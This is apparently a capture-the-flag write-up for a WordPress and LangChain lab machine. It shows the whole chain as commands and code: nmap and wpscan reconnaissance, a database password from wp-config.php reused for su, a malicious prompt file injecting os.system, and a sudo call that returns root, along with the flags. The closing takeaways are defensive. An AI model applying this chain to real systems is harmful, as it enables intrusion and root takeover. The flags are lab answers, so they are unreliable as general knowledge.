2023 Business CTF: Lagmon

Challenge Information

Summary

A WordPress-based system running LangChain integration with a vulnerable prompt loader. Initial access is obtained through WordPress enumeration and database credential discovery, followed by privilege escalation via LangChain prompt injection vulnerability (CVE-2023-34541) to achieve root code execution.

Analysis

The system has multiple layers:

WordPress Setup:

• Version 6.2.2 (latest as of 2023-05-20)
• Astra theme 4.1.5
• Database credentials exposed in wp-config.php

Database Credentials:

DB_NAME: pwndb
DB_USER: wordpress_user
DB_PASSWORD: SNJQvwWHCK
DB_HOST: localhost

Privilege Escalation:

• User developer reuses database password for system account
• User can execute /opt/prompt_loader.py with sudo without password
• Prompt loader uses LangChain’s PromptTemplate with CommaSeparatedListOutputParser

Solution

Step 1: Initial Reconnaissance

nmap -sC -sV langmon.htb
# Reveals WordPress 6.2.2 on port 80
wpscan --url http://langmon.htb

Step 2: Discover WordPress Credentials

• Access wp-admin or web root to find wp-config.php
• Extract database credentials: SNJQvwWHCK

Step 3: Gain User Shell

su developer
# Password: SNJQvwWHCK
cat /home/developer/user.txt
# HTB{4lw4y5_upd473_y0ur_plu61n5}

Step 4: Exploit LangChain CVE-2023-34541 Create a malicious prompt file:

from langchain.output_parsers.list import CommaSeparatedListOutputParser
from langchain.prompts.prompt import PromptTemplate

_DECIDER_TEMPLATE = """..."""

import os
os.system('id')  # Injected code

PROMPT = PromptTemplate(
    input_variables=["query", "table_names"],
    template=_DECIDER_TEMPLATE,
    output_parser=CommaSeparatedListOutputParser(),
)

Step 5: Execute with Sudo

sudo /opt/prompt_loader.py prompt.py
# Returns: uid=0(root) gid=0(root) groups=0(root)
# Access to root flag: HTB{7h3_m4ch1n35_5p34k_w3_h34r}

Key Takeaways

• WordPress installations require careful configuration management
• Reusing passwords across systems creates lateral movement paths
• LangChain prompt templates can be exploited for code injection
• Sudo privileges without proper output validation enable privilege escalation
• Keep all software, especially plugins, updated
• Never hardcode credentials in configuration files
• LLM integrations introduce new attack surfaces
• Sanitize all external inputs to prompt templates